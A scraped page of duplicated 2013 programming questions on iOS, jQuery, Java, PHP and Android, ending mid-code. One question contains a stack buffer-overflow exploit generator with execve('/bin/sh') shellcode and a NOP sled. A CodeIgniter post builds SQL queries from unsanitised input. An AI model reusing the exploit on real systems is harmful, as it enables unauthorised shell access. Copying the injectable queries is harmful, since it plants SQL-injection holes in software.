`<UIConcreteLocalNotification: 0x1edd4d40>{fire date = Thursday, September
26, 2013, 11:15:00 AM India Standard Time, time zone = Asia/Kolkata
(GMT+05:30) offset 19800, repeat interval = 0, repeat count =
UILocalNotificationInfiniteRepeatCount, next fire date = Thursday,
September 26, 2013, 11:15:00 AM India Standard Time, user info = {
UID = "38BF41F8-05D3-48E2-A20F-7B84609F4E85";
}}`
Is there any option to set the repeat count such that it will repeat for
this no of count and expired
When I log the description of the local notification
`<UIConcreteLocalNotification: 0x1edd4d40>{fire date = Thursday, September
26, 2013, 11:15:00 AM India Standard Time, time zone = Asia/Kolkata
(GMT+05:30) offset 19800, repeat interval = 0, repeat count =
UILocalNotificationInfiniteRepeatCount, next fire date = Thursday,
September 26, 2013, 11:15:00 AM India Standard Time, user info = {
UID = "38BF41F8-05D3-48E2-A20F-7B84609F4E85";
}}`
Is there any option to set the repeat count such that it will repeat for
this no of count and expired
Thursday, 19 September 2013
UIToolbar incorrect colour in iOS7
UIToolbar incorrect colour in iOS7
When I set the bottom UIToolbar to black on the view controller, it
appears as a more greyish colour (the same thing happens with other
colours--it sort of fades them out). What I assume is happening is that in
iOS7 the toolbar seems to adapt the colour of what is beneath it
(currently white) which makes for the duller colour.
I've updated the view controller so that the "extended edges" options are
turned off but still get this effect. Has anyone else had this issue yet?
When I set the bottom UIToolbar to black on the view controller, it
appears as a more greyish colour (the same thing happens with other
colours--it sort of fades them out). What I assume is happening is that in
iOS7 the toolbar seems to adapt the colour of what is beneath it
(currently white) which makes for the duller colour.
I've updated the view controller so that the "extended edges" options are
turned off but still get this effect. Has anyone else had this issue yet?
How To: Control character count p tag with contenteditable="true"?
How To: Control character count p tag with contenteditable="true"?
Question:
How to control character count inside a p tag with the new html5
attribute, contenteditable="true" ?
I've found out how to do this with a textarea:
http://jsfiddle.net/timur/47a7A/ (working)
But how would would I do this with a p tag?
http://jsfiddle.net/47a7A/133/ (not working)
HTML
<p id="textarea" maxlength="99" contenteditable="true">This content is
editable with a max character count of 99.</p>
<div id="textarea_feedback"></div>
JQUERY
$(document).ready(function() {
var text_max = 99;
$('#textarea_feedback').html(text_max + ' characters remaining');
$('#textarea').keyup(function() {
var text_length = $('#textarea').val().length;
var text_remaining = text_max - text_length;
$('#textarea_feedback').html(text_remaining + ' characters
remaining');
});
});
Question:
How to control character count inside a p tag with the new html5
attribute, contenteditable="true" ?
I've found out how to do this with a textarea:
http://jsfiddle.net/timur/47a7A/ (working)
But how would would I do this with a p tag?
http://jsfiddle.net/47a7A/133/ (not working)
HTML
<p id="textarea" maxlength="99" contenteditable="true">This content is
editable with a max character count of 99.</p>
<div id="textarea_feedback"></div>
JQUERY
$(document).ready(function() {
var text_max = 99;
$('#textarea_feedback').html(text_max + ' characters remaining');
$('#textarea').keyup(function() {
var text_length = $('#textarea').val().length;
var text_remaining = text_max - text_length;
$('#textarea_feedback').html(text_remaining + ' characters
remaining');
});
});
How to simplify notation with many template arguments and use it in another template class in C++
How to simplify notation with many template arguments and use it in
another template class in C++
I want to use Google hash map which declaration is
template <class Key, class T, class HashFcn, class EqualKey, class Alloc>
class dense_hash_map { ... };
and put this template class as one of arguments in another template
classes like
template<template<class Key, class T, class HashFcn, class EqualKey, class
Alloc > class GoogleHashTable, class SomeOtherClass>
class MyClass { };
I want to simplify previos notation to be something like this
template<GoogleTemplate class GoogleHashTable, class SomeOtherClass>
but how to define GoogleTemplate as
template<class Key, class T, class HashFcn, class EqualKey, class Alloc >
another template class in C++
I want to use Google hash map which declaration is
template <class Key, class T, class HashFcn, class EqualKey, class Alloc>
class dense_hash_map { ... };
and put this template class as one of arguments in another template
classes like
template<template<class Key, class T, class HashFcn, class EqualKey, class
Alloc > class GoogleHashTable, class SomeOtherClass>
class MyClass { };
I want to simplify previos notation to be something like this
template<GoogleTemplate class GoogleHashTable, class SomeOtherClass>
but how to define GoogleTemplate as
template<class Key, class T, class HashFcn, class EqualKey, class Alloc >
Style to the table without ID & class
Style to the table without ID & class
I have several tables in a Web page The tables not have id and class How
can I give style to any table? i want without giving id & class, Giving
Style
Thnx
I have several tables in a Web page The tables not have id and class How
can I give style to any table? i want without giving id & class, Giving
Style
Thnx
Variable number of arguements in php
Variable number of arguements in php
I want to create a variable argument function, which will insert a new row
into a table. The function will contain table name,attribute,its
value.Since no of attributes in a table is variable, variable number of
arguments should be provided.Can you suggest an idea?
I want to create a variable argument function, which will insert a new row
into a table. The function will contain table name,attribute,its
value.Since no of attributes in a table is variable, variable number of
arguments should be provided.Can you suggest an idea?
how to skip blank line while reading CSV file using python
how to skip blank line while reading CSV file using python
This is my code i am able to print each line but when blank line appears
it prints ; because of CSV file format, so i want to skip when blank line
appears
import csv
import time
ifile = open ("C:\Users\BKA4ABT\Desktop\Test_Specification\RDBI.csv", "rb")
data = list(csv.reader(ifile, delimiter = ';'))
for line in csv.reader(ifile)):
if not line:
empty_lines += 1
continue
print line
This is my code i am able to print each line but when blank line appears
it prints ; because of CSV file format, so i want to skip when blank line
appears
import csv
import time
ifile = open ("C:\Users\BKA4ABT\Desktop\Test_Specification\RDBI.csv", "rb")
data = list(csv.reader(ifile, delimiter = ';'))
for line in csv.reader(ifile)):
if not line:
empty_lines += 1
continue
print line
Get Home/office address from google maps
Get Home/office address from google maps
I have an map based android app and am providing functionality to login
using gmail account. Now, Google maps on the device has saved home and
office address of the user. Is it possible to get this data without user
having to input it?
I have an map based android app and am providing functionality to login
using gmail account. Now, Google maps on the device has saved home and
office address of the user. Is it possible to get this data without user
having to input it?
Wednesday, 18 September 2013
Two dao methods in a single Spring @Transaction
Two dao methods in a single Spring @Transaction
I am using Spring's @Transaction with Hibernate. I am trying to put two
dao methods into a single transaction and want to rollback on a specific
Exception. Code is as follows:
Service Class method:
@Transactional(propagation=Propagation.REQUIRES_NEW,value="txManager",rollbackFor=TransactionUnSuccessException.class)
public Account makeTransaction(Transaction transaction, String userName)
throws TransactionUnSuccessException {
Account account = null;
account = transferDao.makeTransaction(transaction, userName);
return account;
}
Dao methods:
public Account makeTransaction(Transaction transaction, String userName)
throws TransactionUnSuccessException {
HibernateTemplate hibernateTemplate = getHibernateTemplate();
Account account = null;
Session session = hibernateTemplate.getSessionFactory().openSession();
session.beginTransaction();
updateSelfAccount(transaction, userName, session);
account = updateAnotherAcccount(transaction, session);
session.getTransaction().commit();
return account;
}
private void updateSelfAccount(Transaction transaction, String userName,
Session session) {
User currentUser = null;
System.out.println("TransferDao.updateSelfAccount()" + transaction);
Query query = session.createQuery("from User where userName=:userName");
query.setParameter("userName", userName);
currentUser = (User) query.list().get(0);
currentUser.getAccount().getTransactions().add(transaction);
currentUser.getAccount().setAvailableBalance(
currentUser.getAccount().getAvailableBalance()
- transaction.getAmount());
transaction.setTransAccount(currentUser.getAccount());
session.save(transaction);
session.update(currentUser.getAccount());
session.update(currentUser);
private Account updateAnotherAcccount(Transaction transaction,
Session session) throws TransactionUnSuccessException {
Account account = null;
try {
Query query = session
.createQuery("from Account where accNo=:accNo");
query.setParameter("accNo", transaction.getToAcc());
account = (Account) query.list().get(0);
if (account.getAvailableBalance() < 5000) {
account.setAvailableBalance(account.getAvailableBalance()
+ transaction.getAmount());
account.getTransactions().add(transaction);
transaction.setTransAccount(account);
session.save(transaction);
session.update(account);
} else {
throw new TransactionUnSuccessException();
}
} catch (TransactionUnSuccessException te) {
te.printStackTrace();
}
return account;
}
}
If any of the two method(updateSelfAccount,updateAnotherAcccount) fails
the whole transaction is supposed to rollback. But It is not able to
rollback on the given Exception even i am not sure that this is all
happening in a single transaction. please correct me.
I am using Spring's @Transaction with Hibernate. I am trying to put two
dao methods into a single transaction and want to rollback on a specific
Exception. Code is as follows:
Service Class method:
@Transactional(propagation=Propagation.REQUIRES_NEW,value="txManager",rollbackFor=TransactionUnSuccessException.class)
public Account makeTransaction(Transaction transaction, String userName)
throws TransactionUnSuccessException {
Account account = null;
account = transferDao.makeTransaction(transaction, userName);
return account;
}
Dao methods:
public Account makeTransaction(Transaction transaction, String userName)
throws TransactionUnSuccessException {
HibernateTemplate hibernateTemplate = getHibernateTemplate();
Account account = null;
Session session = hibernateTemplate.getSessionFactory().openSession();
session.beginTransaction();
updateSelfAccount(transaction, userName, session);
account = updateAnotherAcccount(transaction, session);
session.getTransaction().commit();
return account;
}
private void updateSelfAccount(Transaction transaction, String userName,
Session session) {
User currentUser = null;
System.out.println("TransferDao.updateSelfAccount()" + transaction);
Query query = session.createQuery("from User where userName=:userName");
query.setParameter("userName", userName);
currentUser = (User) query.list().get(0);
currentUser.getAccount().getTransactions().add(transaction);
currentUser.getAccount().setAvailableBalance(
currentUser.getAccount().getAvailableBalance()
- transaction.getAmount());
transaction.setTransAccount(currentUser.getAccount());
session.save(transaction);
session.update(currentUser.getAccount());
session.update(currentUser);
private Account updateAnotherAcccount(Transaction transaction,
Session session) throws TransactionUnSuccessException {
Account account = null;
try {
Query query = session
.createQuery("from Account where accNo=:accNo");
query.setParameter("accNo", transaction.getToAcc());
account = (Account) query.list().get(0);
if (account.getAvailableBalance() < 5000) {
account.setAvailableBalance(account.getAvailableBalance()
+ transaction.getAmount());
account.getTransactions().add(transaction);
transaction.setTransAccount(account);
session.save(transaction);
session.update(account);
} else {
throw new TransactionUnSuccessException();
}
} catch (TransactionUnSuccessException te) {
te.printStackTrace();
}
return account;
}
}
If any of the two method(updateSelfAccount,updateAnotherAcccount) fails
the whole transaction is supposed to rollback. But It is not able to
rollback on the given Exception even i am not sure that this is all
happening in a single transaction. please correct me.
ios7 status bar color during push animation
ios7 status bar color during push animation
My app has a solid gray navigation bar, and to fit with the ios7 design,
want the status bar to be the same color. To do this, I've set
edgesForExtendedLayout = UIRectEdgeNone and
extendedLayoutIncludesOpaqueBars = YES and have View controller-based
status bar appearance set to YES in my plist. To create the gray color for
the status bar, I've set the background color of my MainWindow to be the
gray color. This works well except when there's a push or pop animation.
During the animation, the status bar flashes color and looks like it has
double the intensity of gray. When the animation ends, it changes back to
the correct gray color.
Does anyone know what might be happening? Should I be setting the status
bar color to match the navigation bar color differently?
My app has a solid gray navigation bar, and to fit with the ios7 design,
want the status bar to be the same color. To do this, I've set
edgesForExtendedLayout = UIRectEdgeNone and
extendedLayoutIncludesOpaqueBars = YES and have View controller-based
status bar appearance set to YES in my plist. To create the gray color for
the status bar, I've set the background color of my MainWindow to be the
gray color. This works well except when there's a push or pop animation.
During the animation, the status bar flashes color and looks like it has
double the intensity of gray. When the animation ends, it changes back to
the correct gray color.
Does anyone know what might be happening? Should I be setting the status
bar color to match the navigation bar color differently?
SVN Permissions Error Using svn:// During Commit
SVN Permissions Error Using svn:// During Commit
So I created a new repository and I am successfully able to checkout,
edit, and commit files. This repository is going to be accessed by
multiple people, none of which can currently commit to it (but they can
checkout). The following errors occur when they try to commit:
$ svnserve -d
$ svn commit -m "Changes."
Transmitting file data .svn: Commit failed (details follow):
svn: Can't create directory '/tmp_mnt/home/.../repo/db/transactions/6-1.txn
After chmod 777 the /transactions/ directory, I got the same error but for
another file in /db/. From searching this problem, some people claimed
that SELinux had something to do with it and setenforce 0 would turn it
off, but this did not work.
Edit: Yet another failed solution was changing the owner of the repository
chown www-data repo/ -R.
So I created a new repository and I am successfully able to checkout,
edit, and commit files. This repository is going to be accessed by
multiple people, none of which can currently commit to it (but they can
checkout). The following errors occur when they try to commit:
$ svnserve -d
$ svn commit -m "Changes."
Transmitting file data .svn: Commit failed (details follow):
svn: Can't create directory '/tmp_mnt/home/.../repo/db/transactions/6-1.txn
After chmod 777 the /transactions/ directory, I got the same error but for
another file in /db/. From searching this problem, some people claimed
that SELinux had something to do with it and setenforce 0 would turn it
off, but this did not work.
Edit: Yet another failed solution was changing the owner of the repository
chown www-data repo/ -R.
simple error: expected declaration or statement at end of input
simple error: expected declaration or statement at end of input
When I try to compile the following code I keep getting an error: expected
declaration or statement at end of input. I realize this is usually
because a bracket was missed but I can't seem to find it. I'm hoping
another pair of eyes can spot the error I've been staring at it for some
time now.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
char *ptr;
long *a_ptr,ret;
int offset = DEFAULT_OFFSET;
int codeSize = sizeof(shellcode);
int buffSize = sizeof(buffer);
if(argc > 1) offset = atoi(argv[1]); //allows for command line input
ptr=buffer;
a_ptr = (long *) ptr;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, buffSize);
ret = get_sp()+offset;
printf("Return Address: 0x%x\n",get_sp());
printf("Address: 0x%x\n",ret);
ptr = buffer;
a_ptr = (long *) ptr;
int i;
for (i = 0; i < 300;i+=4)
{
*(a_ptr++) = ret;
}
for(i = 486;i < codeSize + 486;++i)
{
buffer[i] = shellcode[i-486];
{
buffer[buffSize - 1] = '\0';
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer,517,1,badfile);
fclose(badfile);
}
When I try to compile the following code I keep getting an error: expected
declaration or statement at end of input. I realize this is usually
because a bracket was missed but I can't seem to find it. I'm hoping
another pair of eyes can spot the error I've been staring at it for some
time now.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
char *ptr;
long *a_ptr,ret;
int offset = DEFAULT_OFFSET;
int codeSize = sizeof(shellcode);
int buffSize = sizeof(buffer);
if(argc > 1) offset = atoi(argv[1]); //allows for command line input
ptr=buffer;
a_ptr = (long *) ptr;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, buffSize);
ret = get_sp()+offset;
printf("Return Address: 0x%x\n",get_sp());
printf("Address: 0x%x\n",ret);
ptr = buffer;
a_ptr = (long *) ptr;
int i;
for (i = 0; i < 300;i+=4)
{
*(a_ptr++) = ret;
}
for(i = 486;i < codeSize + 486;++i)
{
buffer[i] = shellcode[i-486];
{
buffer[buffSize - 1] = '\0';
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer,517,1,badfile);
fclose(badfile);
}
How to decrypt php Gkencode class?
How to decrypt php Gkencode class?
I'm have script but don't looking Decrypt function. I'm tried for decrypt
this has but not lucky
<?php
include("Gkencode.php");
$secretKey = "Key";
$string = "Encrypt Text";
$gkencode = new Gkencode();
$encrypted = $gkencode->encrypt($string,$secretKey); //
b956bbb922a5be143614b04b16efe6db
$decrypted = $gkencode->decrypt($encrypted,$secretKey); // ???
?>
File Gkencode.php
I'm have script but don't looking Decrypt function. I'm tried for decrypt
this has but not lucky
<?php
include("Gkencode.php");
$secretKey = "Key";
$string = "Encrypt Text";
$gkencode = new Gkencode();
$encrypted = $gkencode->encrypt($string,$secretKey); //
b956bbb922a5be143614b04b16efe6db
$decrypted = $gkencode->decrypt($encrypted,$secretKey); // ???
?>
File Gkencode.php
Concrete5 block can't be able to edit
Concrete5 block can't be able to edit
If i try to edit one of my blog. I m getting this info on the popup,
This block was copied from another location. Editing it will create a new
instance of it.
And also I can't able to edit any things in this block
How to fix this issue?
Thanks
If i try to edit one of my blog. I m getting this info on the popup,
This block was copied from another location. Editing it will create a new
instance of it.
And also I can't able to edit any things in this block
How to fix this issue?
Thanks
codeigniter mutiple select queries dependent on each other
codeigniter mutiple select queries dependent on each other
I'm a newbie in codeigniter (CI) and I need to select the logged-in user's
competitions and total votes , let say users and competition tables have
many-to-many relation and the same goes with the competition items. I need
to select the user's competitions and all items votes that relate to that
user; also I need to select all competitions' votes and get the total
votes for each one of them. after all that goes on , all the result must
be displayed in one view (and that is the most complicated part) for
example , I can't manipulate all that in one model and how to return many
arrays to a controller ,so on.
here's an example to my contoller :
<?php
class User_id extends CI_Controller{
function __construct()
{
parent::__construct();
$this->load->helper(array('form', 'url'));
$this->load->library('session');
}
function index(){
$this->load->view('v_user_id');
}
function view_comp(){
$c_id = $this->input->post('id');
$this->session->set_userdata('c_id',$c_id);
$s_id = $this->session->userdata('c_id');
$this->load->model('comps_model');
$data['rows'] = $this->comps_model->getComps($s_id);
}
}
?>
and here's my aim model that should contain 'all select queries' and
return 'all results' previously mentioned :
<?php
class Comps_model extends CI_Model{
function getComps($id){
$this->load->database();
$id = $this->db->query("select competition_id from
user_competition where user_id='".$id."'");
if($id->num_rows() > 0){
foreach($id->result() as $id_row){
$comp_name = $this->db->query("select
competition_title from competition where
competition_id='".$id_row->competition_id."'");
if($comp_name->num_rows() > 0) {
//all the stuff should go here or
something like that
}
}
}
}
}
?>
I'd be grateful for some code examples :)
I'm a newbie in codeigniter (CI) and I need to select the logged-in user's
competitions and total votes , let say users and competition tables have
many-to-many relation and the same goes with the competition items. I need
to select the user's competitions and all items votes that relate to that
user; also I need to select all competitions' votes and get the total
votes for each one of them. after all that goes on , all the result must
be displayed in one view (and that is the most complicated part) for
example , I can't manipulate all that in one model and how to return many
arrays to a controller ,so on.
here's an example to my contoller :
<?php
class User_id extends CI_Controller{
function __construct()
{
parent::__construct();
$this->load->helper(array('form', 'url'));
$this->load->library('session');
}
function index(){
$this->load->view('v_user_id');
}
function view_comp(){
$c_id = $this->input->post('id');
$this->session->set_userdata('c_id',$c_id);
$s_id = $this->session->userdata('c_id');
$this->load->model('comps_model');
$data['rows'] = $this->comps_model->getComps($s_id);
}
}
?>
and here's my aim model that should contain 'all select queries' and
return 'all results' previously mentioned :
<?php
class Comps_model extends CI_Model{
function getComps($id){
$this->load->database();
$id = $this->db->query("select competition_id from
user_competition where user_id='".$id."'");
if($id->num_rows() > 0){
foreach($id->result() as $id_row){
$comp_name = $this->db->query("select
competition_title from competition where
competition_id='".$id_row->competition_id."'");
if($comp_name->num_rows() > 0) {
//all the stuff should go here or
something like that
}
}
}
}
}
?>
I'd be grateful for some code examples :)
How to change image .attr("src") using jquery
How to change image .attr("src") using jquery
I need to change the src for an html image tag from relative to absolute
url. I am using the following code. urlRelative and urlAbsolute are create
correctly but I cannot modify the image in the last line.
What is wrong here?
..... // other code here
request.done(function(resp) {
var imgTags = $('img', resp).each(function() {
var urlRelative = $(this).attr("src");
var urlAbsolute = self.config.proxy_server +
self.config.location_images + urlRelative;
$(this).attr("src").replace(urlRelative, urlAbsolute); //
problem here
});
I need to change the src for an html image tag from relative to absolute
url. I am using the following code. urlRelative and urlAbsolute are create
correctly but I cannot modify the image in the last line.
What is wrong here?
..... // other code here
request.done(function(resp) {
var imgTags = $('img', resp).each(function() {
var urlRelative = $(this).attr("src");
var urlAbsolute = self.config.proxy_server +
self.config.location_images + urlRelative;
$(this).attr("src").replace(urlRelative, urlAbsolute); //
problem here
});
Tuesday, 17 September 2013
Why Java need classpath at runtime
Why Java need classpath at runtime
In java we add classpath at compile time to compile java file but why do
we need to add classpath at runtime? Any specific reason why jvm needs
classpath to run class file?
In java we add classpath at compile time to compile java file but why do
we need to add classpath at runtime? Any specific reason why jvm needs
classpath to run class file?
not happy with my android ui layout
not happy with my android ui layout
I am having a heck of time trying to get my UI to look the way I want.
Here's what I got ...
I would like the TextView, the XX:XX:XX, text font to be larger and
centered between the EditText and Button. Also how come the user gets the
phone keyboard instead of a qwert keybroad to use to enter text?
Here's my layout xml:
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:orientation="vertical" >
<LinearLayout
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal" >
<EditText
android:id="@+id/new_bookmark_name"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_gravity="center"
android:layout_weight="0.5"
android:ems="10"
android:inputType="text" />
<TextView
android:id="@+id/new_bookmark_clock"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_gravity="center"
android:layout_weight="0.3"
android:text="@string/xx_xx_xx" />
<Button
android:id="@+id/btn_add_new_bookmark"
style="?android:attr/buttonStyleSmall"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_gravity="center"
android:layout_weight="0.2"
android:text="@string/add"/>
</LinearLayout>
<ListView
android:id="@+id/bookmark_list"
android:layout_width="fill_parent"
android:layout_height="fill_parent"/>
</LinearLayout>
I am having a heck of time trying to get my UI to look the way I want.
Here's what I got ...
I would like the TextView, the XX:XX:XX, text font to be larger and
centered between the EditText and Button. Also how come the user gets the
phone keyboard instead of a qwert keybroad to use to enter text?
Here's my layout xml:
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:orientation="vertical" >
<LinearLayout
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal" >
<EditText
android:id="@+id/new_bookmark_name"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_gravity="center"
android:layout_weight="0.5"
android:ems="10"
android:inputType="text" />
<TextView
android:id="@+id/new_bookmark_clock"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_gravity="center"
android:layout_weight="0.3"
android:text="@string/xx_xx_xx" />
<Button
android:id="@+id/btn_add_new_bookmark"
style="?android:attr/buttonStyleSmall"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_gravity="center"
android:layout_weight="0.2"
android:text="@string/add"/>
</LinearLayout>
<ListView
android:id="@+id/bookmark_list"
android:layout_width="fill_parent"
android:layout_height="fill_parent"/>
</LinearLayout>
AdMob Android SDK Testing
AdMob Android SDK Testing
I have a bunch of test devices for my app, and I'd rather not have to
manually enter all of the device ids for admob testing. I am using this
method to get the device id if my debugging flag is set.
My question is, if I add a device to admob testing, is that permanent or
only for the duration of that ad session? I'm worried that if I
accidentally publish my app with the debug flag, no real ads will be
delivered to my users.
I have a bunch of test devices for my app, and I'd rather not have to
manually enter all of the device ids for admob testing. I am using this
method to get the device id if my debugging flag is set.
My question is, if I add a device to admob testing, is that permanent or
only for the duration of that ad session? I'm worried that if I
accidentally publish my app with the debug flag, no real ads will be
delivered to my users.
Keep getting (#200) Requires extended permission: manage_groups" when I try to invite users to a group
Keep getting (#200) Requires extended permission: manage_groups" when I
try to invite users to a group
When I try to invite a user to my group I keep getting this
{ "error": { "message": "(#200) Requires extended permission:
manage_groups", "type": "OAuthException", "code": 200 } } error. I submit
to https://graph.facebook.com/GROUP_ID/members/USER_ID with an app access
token and the user I'm inviting is already member of the app.
So any solution to this?
Thanks,
Kent
try to invite users to a group
When I try to invite a user to my group I keep getting this
{ "error": { "message": "(#200) Requires extended permission:
manage_groups", "type": "OAuthException", "code": 200 } } error. I submit
to https://graph.facebook.com/GROUP_ID/members/USER_ID with an app access
token and the user I'm inviting is already member of the app.
So any solution to this?
Thanks,
Kent
Implicitly captured closures, ReSharper warning
Implicitly captured closures, ReSharper warning
I normally know what "implicitly captured closure" means, however, today I
came across the following situation:
public static void Foo (Bar bar, Action<int> a, Action<int> b, int c)
{
bar.RegisterHandler(x => a(c)); // Implicitly captured closure: b
bar.RegisterHandler(x => b(c)); // Implicitly captured closure: a
}
Why am I implicitly capturing the other action as well? If I comment
either of the both lines, the other does not give me the warning. Anybody
knows of what danger ReSharper is warning me?
Edit: ReSharper 8.0.1
I normally know what "implicitly captured closure" means, however, today I
came across the following situation:
public static void Foo (Bar bar, Action<int> a, Action<int> b, int c)
{
bar.RegisterHandler(x => a(c)); // Implicitly captured closure: b
bar.RegisterHandler(x => b(c)); // Implicitly captured closure: a
}
Why am I implicitly capturing the other action as well? If I comment
either of the both lines, the other does not give me the warning. Anybody
knows of what danger ReSharper is warning me?
Edit: ReSharper 8.0.1
Is there a way to add adding HTML code inside the 'alt' attribute either in the html code or through java-script using fancybox?
Is there a way to add adding HTML code inside the 'alt' attribute either
in the html code or through java-script using fancybox?
I am trying to see if it is possible to add html code inside the 'alt' tag
of an image either through the html or using some kind of javascript. I am
using fancybox as my image gallery. Im trying to use fancybox as a form to
display an image and on the description of the image, add information with
style (like bullet points and breaks) and also add a button that will take
you to a different page. Currently i have the button working but that
button is in the javascript so every fancybox image has that button and
the same url. And i want to have different links to each button on each
image.
Here is the javascript that i have that currently displays the alt text
under the image in the fancybox.
$(".fancybox").fancybox({
padding : 0,
beforeShow: function () {
this.title = $(this.element).attr('title');
this.title = '<h4>' + this.title + '</h4>' + '<div
style="width:100%; height: 150px; overflow: auto;">' +
$(this.element).parent().find('img').attr('alt') + '<a
class="button button-small"
href="http://www.google.com"> Sign Up </a>' +
'</div>';
},
helpers : {
title : { type: 'inside' },
}
});
The html in the index.html for that fancybox is:
<li class="item-thumbs span3 design">
<!-- Fancybox - Gallery Enabled - Title -
Full Image -->
<a class="hover-wrap fancybox"
data-fancybox-group="gallery" title="The
City"
href="_include/img/work/full/image-01-full.jpg">
<span class="overlay-img"></span>
<span class="overlay-img-thumb
font-icon-plus"></span>
</a>
<!-- Thumb Image and Description -->
<img
src="_include/img/work/thumbs/image-01.jpg"
alt="Lorem ipsum dolor sit amet,
consectetur adipiscing elit. Phasellus
quis elementum odio. Curabitur
pellentesque, dolor vel pharetra mollis.">
</li>
in the html code or through java-script using fancybox?
I am trying to see if it is possible to add html code inside the 'alt' tag
of an image either through the html or using some kind of javascript. I am
using fancybox as my image gallery. Im trying to use fancybox as a form to
display an image and on the description of the image, add information with
style (like bullet points and breaks) and also add a button that will take
you to a different page. Currently i have the button working but that
button is in the javascript so every fancybox image has that button and
the same url. And i want to have different links to each button on each
image.
Here is the javascript that i have that currently displays the alt text
under the image in the fancybox.
$(".fancybox").fancybox({
padding : 0,
beforeShow: function () {
this.title = $(this.element).attr('title');
this.title = '<h4>' + this.title + '</h4>' + '<div
style="width:100%; height: 150px; overflow: auto;">' +
$(this.element).parent().find('img').attr('alt') + '<a
class="button button-small"
href="http://www.google.com"> Sign Up </a>' +
'</div>';
},
helpers : {
title : { type: 'inside' },
}
});
The html in the index.html for that fancybox is:
<li class="item-thumbs span3 design">
<!-- Fancybox - Gallery Enabled - Title -
Full Image -->
<a class="hover-wrap fancybox"
data-fancybox-group="gallery" title="The
City"
href="_include/img/work/full/image-01-full.jpg">
<span class="overlay-img"></span>
<span class="overlay-img-thumb
font-icon-plus"></span>
</a>
<!-- Thumb Image and Description -->
<img
src="_include/img/work/thumbs/image-01.jpg"
alt="Lorem ipsum dolor sit amet,
consectetur adipiscing elit. Phasellus
quis elementum odio. Curabitur
pellentesque, dolor vel pharetra mollis.">
</li>
Sunday, 15 September 2013
How to make a sidescroller camera
How to make a sidescroller camera
So me and a friend are wanting to make a sidescroller but we have come
into an issue with the camera. How can we make a camera that will follow
the player but not in a hard scrolling but instead a soft scrolling. What
I mean by that is that the camera will move only when the player moves to
a certain position on the window. We are using java to code this but I
think any language could help as long as it shares the same concept.
So me and a friend are wanting to make a sidescroller but we have come
into an issue with the camera. How can we make a camera that will follow
the player but not in a hard scrolling but instead a soft scrolling. What
I mean by that is that the camera will move only when the player moves to
a certain position on the window. We are using java to code this but I
think any language could help as long as it shares the same concept.
Source code for Maximum flow in O(mn + something)
Source code for Maximum flow in O(mn + something)
The max flow has been solved in around O(m*n) where m is number of nodes
and n is number of edges by King-Rao-Tarjan or Orlin. Does any of you know
where to find the source code of the implementation of the algorithm? I
googled and it didn't help. I code in Java, but any language should be
fine for now. Thanks.
The max flow has been solved in around O(m*n) where m is number of nodes
and n is number of edges by King-Rao-Tarjan or Orlin. Does any of you know
where to find the source code of the implementation of the algorithm? I
googled and it didn't help. I code in Java, but any language should be
fine for now. Thanks.
JPA EclipseLink entities not refreshing
JPA EclipseLink entities not refreshing
I have a problem with entities not being refreshed when values in the
database are changed from outside the JPA session. For instance, I have a
user entity:
@Entity
@Cacheable(false)
public class UserBean implements Serializable {
@Id
@GeneratedValue(strategy = GenerationType.AUTO)
private long id;
@OneToMany(mappedBy = "receiver")
@JoinTable(name = "NOTIFICATIONS_RECEIVED")
private List<NotificationBean> notificationsReceived;
...
}
And notifications entity:
@Entity
@Cacheable(false)
public class NotificationBean implements Serializable{
@Id
@GeneratedValue
private Long id;
@ManyToOne
private UserBean receiver;
...
}
I use this inside a JSF application and have a SessionScoped bean, which
loads the user after login and stores it:
@Named("sessionManager")
@SessionScoped
public class SessionManagerBean implements Serializable {
@PersistenceUnit(unitName = "PU")
private EntityManagerFactory emf;
private UserBean user;
public UserBean getUser() throws Exception {
if (user == null) {
FacesContext context = FacesContext.getCurrentInstance();
HttpServletRequest request = (HttpServletRequest)
context.getExternalContext().getRequest();
String username = request.getRemoteUser();
if (username != null) {
EntityManager em = null;
try {
utx.begin();
em = emf.createEntityManager();
Query query = em.createQuery("SELECT u from UserBean u
WHERE u.username = ?1");
query.setParameter(1, username);
user = (UserBean) query.getSingleResult();
}
catch (Exception e) {
try {
utx.rollback();
} catch (Exception e) {
}
finally {
utx.commit();
em.close();
}
}
return user;
}
pubic void refreshUser() {
